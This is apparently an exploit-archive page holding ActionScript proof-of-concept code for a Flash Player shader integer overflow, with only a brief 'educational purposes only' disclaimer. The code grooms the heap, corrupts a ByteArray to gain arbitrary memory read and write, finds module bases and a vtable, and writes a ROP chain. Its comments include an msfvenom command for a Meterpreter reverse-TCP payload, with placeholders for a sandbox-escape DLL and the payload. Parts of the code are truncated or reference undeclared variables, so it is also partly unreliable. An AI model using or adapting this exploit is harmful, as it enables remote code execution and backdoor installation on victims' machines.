Adobe flash player integer overflow Vulnerability / Exploit
/
/
/
Exploits / Vulnerability Discovered : 2017-01-14 |
Type : remote |
Platform : multiple
This exploit / vulnerability Adobe flash player integer overflow is for educational purposes only and if it is used you will do on your own risk!
public class ShaderInputOverflow extends Sprite
{
public var bb:ByteArray = null;
public var allocate:Array;
public var MAX_ARRAY:uint = 81920;
public var text:TextField = new TextField();
public var gText:String = "";
public var corrupted:uint = 0;
public var corrupted_ba_address:uint = 0;
public var corrupted_ba_pos:uint = 0;
public var next_ba_address:uint = 0;
public var NPSWF32Base:uint = 0;
public function ShaderInputOverflow():void
{
if (stage) drawText();
else addEventListener(Event.ADDED_TO_STAGE, drawText);
drawText();
var i:uint;
allocate = new Array();
for (i = 0; i < MAX_ARRAY; i++) {
bb = new ByteArray();
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
bb.writeByte(0x57);
bb.writeByte(0x30);
bb.writeByte(0x30);
bb.writeByte(0x54);
allocate.push(bb);
}
// We create "holes" of size 0x18 bytes on the heap
i = MAX_ARRAY/2;
while (i<MAX_ARRAY)
{
if (i % 2 != 0) {
allocate[i] = null;
}
i++;
}
// Offset can be 0x10 bytes
baIn.writeUnsignedInt(0x16000000); // ptr to data
baIn.writeUnsignedInt(0xffffffff); // capacity
baIn.writeUnsignedInt(0x16000000); // length / ptr to data
// Another time in case the offset is 0x8 bytes
baIn.writeUnsignedInt(0xffffffff); // capacity
baIn.writeUnsignedInt(0xffffffff); // length
var job:ShaderJob = new ShaderJob();
var shader:Shader = new Shader();
shader.byteCode = ba;
shader.data.BBBB.width = 8192;
shader.data.BBBB.height = 8192;
shader.data.BBBB.input = baIn;
job.target = baOut;
job.width = 1;
job.height = 1;
job.shader = shader;
// We need to catch the Error thrown by Flash to continue the execution
// job.start triggers the copy that causes the heap overflow
try
{
job.start(true);
}
catch (err:Error)
{
trace("w00t");
}
var s:spray = new spray();
corrupted = findCorrupted();
allocate[corrupted].position = 0;
gText += "The corrupted ByteArray object is at index " + corrupted.toString() + " of the 'allocate' array\n";
gText += "The length of the corrupted ByteArray is " + (allocate[corrupted].length).toString(16) + "\n";
findCorruptedAddress();
gText += "Corrupted ByteArray::Buffer object address 0x" + (corrupted_ba_address).toString(16) + "\n";
var NPSWF32Ptr:uint = readDword((corrupted_ba_address+0x18*2));
gText += "NPSWF32Ptr: 0x" + NPSWF32Ptr.toString(16) + "\n";
NPSWF32Base = findNPSWF32_Base(NPSWF32Ptr);
gText += "NPSWF32Base Address: 0x" + NPSWF32Base.toString(16) + "\n";
// Look for the corrupted ByteArray::Buffer object address
var tosearch:uint = corrupted_ba_address;
gText += "Ptr to search: 0x" + tosearch.toString(16) + "\n";
var VTableObj:uint = findVTable(tosearch);
gText += "VTable Address: 0x" + VTableObj.toString(16) + "\n";
updateText();
// Crash on the Jitted pointer dereference that leads to code execution
//writeDword((VTableObj+0xd4), 0x42424242);
// Control the Jitted pointer dereference that leads to code execution
writeROPChain(NPSWF32Base);
// Decode and Write the files for the privilege escalation to memory
var dll:ByteArray = new ByteArray();
var met:ByteArray = new ByteArray();
var dec1:Base64Decoder = new Base64Decoder();
var dec2:Base64Decoder = new Base64Decoder();
// sandbox exploit code
dec1.decode("YOUR BASE64 PRIVESC SANDBOX ESCAPE DLL CODE HERE");
dll = dec1.toByteArray();
// msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LPORT=4444 LHOST=YOURIP -e generic/none -f exe > pwnd.exe
// base64 pwnd.exe | tr --delete '\n'
// Meterpreter executable or any other payload…
dec2.decode("YOUR BASE64 METERPRETER CODE HERE");
met = dec2.toByteArray();
writeBytes(0x1a100000, met);
writeBytes(0x1a200000, dll);
private function findVTable(startAddress:uint):uint
{
// Find the VTable Object Address within the ByteArrayObject
allocate[corrupted].endian = "littleEndian";
var addr:uint = 0;
var base:uint = 0x16000000;
var bstart:uint = base;
var count:uint = 0;
while (true)
{
if (readDword(base) == startAddress)
{
addr = bstart+count;
// ByteArray::Buffer pointer is at offset +0x40
addr = addr - 0x40;
// VTable Object pointer is at +0x8
return readDword(addr+0x8);
}
else
{
base += 4;
count += 4;
}
}
return addr;
}
private function findNPSWF32_Base(NPSWF32Ptr:uint):uint
{
// Find a DLL base address by appling the scan down technique
var addr:uint = NPSWF32Ptr & 0xfffff000;
while (true)
{
if (readDword(addr) == 0x00905a4d)
{
return addr;
}
else
{
addr = addr - 0x1000;
}
}
return addr;
}
private function readDword(pAddress:uint):uint
{
// Read a DWORD from an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
var res:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a DWORD from the new address
res = allocate[corrupted].readUnsignedInt();
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
return res;
}
private function writeDword(pAddress:uint, value:uint):void
{
// write a DWORD to an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a DWORD from the new address
allocate[corrupted].writeUnsignedInt(value);
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
}
private function writeBytes(pAddress:uint, data:ByteArray):void
{
// write a ByteArray to an address
// by changing the ptr to array of bytes
var tmpIndex:uint = 0;
// Change ptr to array of bytes
tmpIndex = (corrupted_ba_address + 0x8) - 0x16000000;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(pAddress);
allocate[corrupted].position = 0;
// Read a ByteArray tp the new address
allocate[corrupted].writeBytes(data, 0, 0);
// Reset ptr to array of bytes to 0x16000000
tmpIndex = (corrupted_ba_address + 0x8) - pAddress;
allocate[corrupted].position = tmpIndex;
allocate[corrupted].writeUnsignedInt(0x16000000);
}
private function findCorruptedAddress():void
{
allocate[corrupted].position = 0;
allocate[corrupted].endian = "littleEndian";
while (true)
{
if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
{
if(allocate[corrupted].readUnsignedInt() == 0x6230306e)
{
// Corrupted Object starts just after the second 0x6230306e tag in case the offset is 0x10
// otherwise after the two 0x41414141 dwords in case the offset is 0x8
// OFFSET 0x10 LENGTH = 0x16000000
if (allocate[corrupted].length == 0x16000000)
corrupted_ba_pos = allocate[corrupted].position;
// OFFSET 0x8 LENGTH = 0xffffffff
else
corrupted_ba_pos = allocate[corrupted].position + 0x8;
// We calculate the address of the corrupted object by using the index
// and the base address that we set through the heap overflow.
corrupted_ba_address = 0x16000000 + corrupted_ba_pos;
// Since every in-use ByteArray object is alternated with a free one
// (we created the holes), the next in-use ByteArray is at 0x18*2 bytes
// from the corrupted one.
next_ba_address = corrupted_ba_address + 0x18*2;
return;
}
}
}
return;
}
private function findCorrupted():uint
{
// Find the corrupted ByteArray::Buffer object.
// We can find it by checking for a size different from the
// original 0x10 bytes, since the ByteArray data is 16 bytes
// for all the objects we allocated, except the corrupted one.
var i:uint = MAX_ARRAY/2;
while (i<MAX_ARRAY)
{
if (i % 2 == 0)
{
if(allocate[i].length != 0x10)
{
return i;
}
}
i++;
}
return 0;
}
public function updateText(e:Event = null):void
{
text.text = gText;
}
public function drawText(e:Event = null):void
{
removeEventListener(Event.ADDED_TO_STAGE, drawText);
public function mouseDownScroll(event:MouseEvent):void
{
text.scrollV++;
}
}
}
import flash.display.MovieClip;
import flash.utils.*;
class spray extends MovieClip
{
public var allocate:Array;
public function spray()
{
HeapSpray();
}
public function HeapSpray() : void
{
var chunk_size:uint = 1048576; // 0x100000
var block_size:uint = 65536; // 0x10000
var heapblocklen:uint = 0;
var spraychunks:uint = 0;
var heapblock1:ByteArray;
var heapblock2:ByteArray;
var heapblock3:ByteArray;
heapblock1 = new ByteArray();
heapblock1.endian = Endian.LITTLE_ENDIAN;